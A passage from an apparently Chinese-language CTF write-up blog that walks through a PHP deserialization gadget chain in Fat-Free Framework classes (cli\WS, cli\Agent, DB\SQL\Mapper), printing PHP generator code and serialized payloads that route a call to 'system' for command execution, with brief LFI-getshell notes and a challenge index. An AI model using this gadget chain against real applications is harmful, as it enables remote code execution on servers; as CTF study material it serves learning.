($options['group'] && !preg_match('/mysql|sqlite/',$this->engine)?
$options['group']:
implode(',',array_map([$this->db,'quotekey'],
array_keys($this->fields)))).$adhoc,$filter,$options,$ttl);
}

此外,将$this->db = $this,

上面代码可以简化为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class A{
public $AA;
public $num = 1;
public $cmd = "whoami";
public $props;
function __construct(){
$this->AA=$this;
$this->props = array("kali"=>"system");
}
function __call($func,$args) {
return call_user_func_array(
(array_key_exists($func,$this->props)? //检查数组里是否有指定的键名或索引
$this->props[$func]:
$this->$func),$args
);
}
function find(){
$this->AA->kali($this->cmd);
}

}
$aa = new A();
$aa->find();
# 注意传参就传了一个

image-20200803062207187

故此,payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
namespace DB\SQL;
class Mapper
{
public $props;
public function __construct()
{
$this->adhoc=['ls'=>["xz"=>"fe10"]];
$this->fields=[];
$this->props = ['quotekey' => "system"];
$this->db = $this;
}
}
namespace cli;
use DB\SQL\Mapper;
class Agent
{
public function __construct()
{
$this->server = $this;
$this->events = ["disconnect" => new Mapper()];
}
}
namespace cli;
class WS{
public function __construct()
{
$this->test = new Agent();
}
}
echo (serialize(new WS()));
#O:6:"cli\WS":1:{s:4:"test";O:9:"cli\Agent":2:{s:6:"server";r:2;s:6:"events";a:1:{s:10:"disconnect";O:13:"DB\SQL\Mapper":4:{s:5:"props";a:1:{s:8:"quotekey";s:6:"system";}s:5:"adhoc";a:1:{s:2:"ls";a:1:{s:2:"xz";s:5:"fe1w0";}}s:6:"fields";a:0:{}s:2:"db";r:5;}}}}

但这样会导致isset($this->server->events['disconnect']) && is_callable($func=$this->server->events['disconnect'])false

需要$this->events = ["disconnect" => new Mapper()]; 改为*$**this*->events = ["disconnect" => [new Mapper()],'find'];

为什么要写find以及在后面

写的原因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if(is_callable([new A(),"find"])){
echo "true";
}

if(is_callable(["find",new A()])){
echo "true";
}

if(is_callable([new A()])){
echo "true";
}

if(is_callable(new A())){
echo "true";
}
#或
echo serialize([new A(),"find"])."\n";
echo serialize(["find",new A()])."\n";
echo serialize([new A()])."\n";
echo serialize(new A())."\n";
/*
a:2:{i:0;O:1:"A":4:{s:2:"AA";r:2;s:3:"num";i:1;s:3:"cmd";s:6:"whoami";s:5:"props";a:1:{s:4:"kali";s:6:"system";}}i:1;s:4:"find";}
a:2:{i:0;s:4:"find";i:1;O:1:"A":4:{s:2:"AA";r:3;s:3:"num";i:1;s:3:"cmd";s:6:"whoami";s:5:"props";a:1:{s:4:"kali";s:6:"system";}}}
a:1:{i:0;O:1:"A":4:{s:2:"AA";r:2;s:3:"num";i:1;s:3:"cmd";s:6:"whoami";s:5:"props";a:1:{s:4:"kali";s:6:"system";}}}
O:1:"A":4:{s:2:"AA";r:1;s:3:"num";i:1;s:3:"cmd";s:6:"whoami";s:5:"props";a:1:{s:4:"kali";s:6:"system";}}
*/

这四个if中,只有第一个是正确的,感觉这个跟执行顺序有关

以正确的payload为例

1
O:6:"cli\WS":1:{s:4:"test";O:9:"cli\Agent":2:{s:6:"server";r:2;s:6:"events";a:2:{s:10:"disconnect";a:1:{i:0;O:13:"DB\SQL\Mapper":4:{s:5:"props";a:1:{s:8:"quotekey";s:6:"system";}s:5:"adhoc";a:1:{s:2:"ls";a:1:{s:2:"xz";s:5:"fe1w0";}}s:6:"fields";a:0:{}s:2:"db";r:6;}}i:0;s:4:"find";}}}

dbr:<number>为6,同时db还指向自己一次,即多加了一层,}} 回退两次后,到达的层为\DB\Cursor,而在\DB\Cursor的方法中只有find 函数符合要求

\DB\Cursor 原因 class Mapper *extends* \DB\Cursor

1
2
3
4
5
6
7
8
/**
* Return records (array of mapper objects) that match criteria
* @return array
* @param $filter string|array
* @param $options array
* @param $ttl int
**/
abstract function find($filter=NULL,array $options=NULL,$ttl=0);
  • 正确的payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
namespace DB\SQL;
class Mapper
{
public $props;
public function __construct()
{
$this->adhoc=['ls'=>["xz"=>"fe1w0"]];
$this->fields=[];
$this->props = ['quotekey' => "system"];
$this->db = $this;
}
}
namespace cli;
use DB\SQL\Mapper;
class Agent
{
public function __construct()
{
$this->server = $this;
$this->events = ["disconnect" => [new Mapper(),"find"]];
}
}
namespace cli;
class WS{
public function __construct()
{
$this->test = new Agent();
}
}
echo (serialize(new WS()));

web_checkin2

这题好像坏了,一直打不开

思路:

利用session.upload_progress进行文件包含和反序列化渗透

LFI 绕过 Session 包含限制 Getshell

PHP LFI 利用临时文件 Getshell 姿势

但后面出题方放弃修这道题,无法正常访问。

其他

1231231231231

web

noclass

很有意思一道题,靠🦌🥚弄的

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$flag = "flag";
$f = new stdClass();
$f->c = "haha";
$f->d = &$f->c;
echo serialize($f);
$b = $f;
$b->c = $flag;
echo serialize($b);
foreach($b as $key => $value)
{
if($key==='c')
{
continue;
}
echo $value;
}

安恒八月[暂时未复现]

CATALOG
  1. 1. 第十三届全国大学生信息安全竞赛-创新实践能力赛
    1. 1.1. web
      1. 1.1.1. fork
      2. 1.1.2. rceme
      3. 1.1.3. littlegame
      4. 1.1.4. easytrick
      5. 1.1.5. babyunserialize
  2. 2. 🎣杯
    1. 2.1. web
      1. 2.1.1. gamebox
      2. 2.1.2. easyseed
      3. 2.1.3. easyweb
    2. 2.2.
  3. 3. 第四届强网杯
    1. 3.1. 强网先锋
      1. 3.1.1. web辅助
      2. 3.1.2. 主动
      3. 3.1.3. Funhash
      4. 3.1.4. upload
  4. 4. GACTF
    1. 4.1. web
      1. 4.1.1. simpleflask
      2. 4.1.2. EZFLASK
      3. 4.1.3. xwiki
      4. 4.1.4. carefuleyes
      5. 4.1.5. babyshop[复现]
        1. 4.1.5.1. 手动分析
        2. 4.1.5.2. 执行代码中坑:
        3. 4.1.5.3. 具体分析
    2. 4.2. MISC
      1. 4.2.1. crymisc
  5. 5. 🐏城杯
    1. 5.1. web
      1. 5.1.1. easycon
      2. 5.1.2. BlackCat
      3. 5.1.3. easyphp
      4. 5.1.4. easyphp2
  6. 6. DDCTF-2020
    1. 6.1. web
      1. 6.1.1. Web签到题
      2. 6.1.2. Overwrite Me [暂时未复现]
    2. 6.2. MISC
      1. 6.2.1. 一起拼图吗
  7. 7. WMCTF
    1. 7.1. web
      1. 7.1.1. web_checkin
      2. 7.1.2. Make PHP Great Again
      3. 7.1.3. Make PHP Great Again 2.0
      4. 7.1.4. webweb
    2. 7.2. web_checkin2
  8. 8. 其他
    1. 8.1. web
      1. 8.1.1. noclass
  9. 9. 安恒八月[暂时未复现]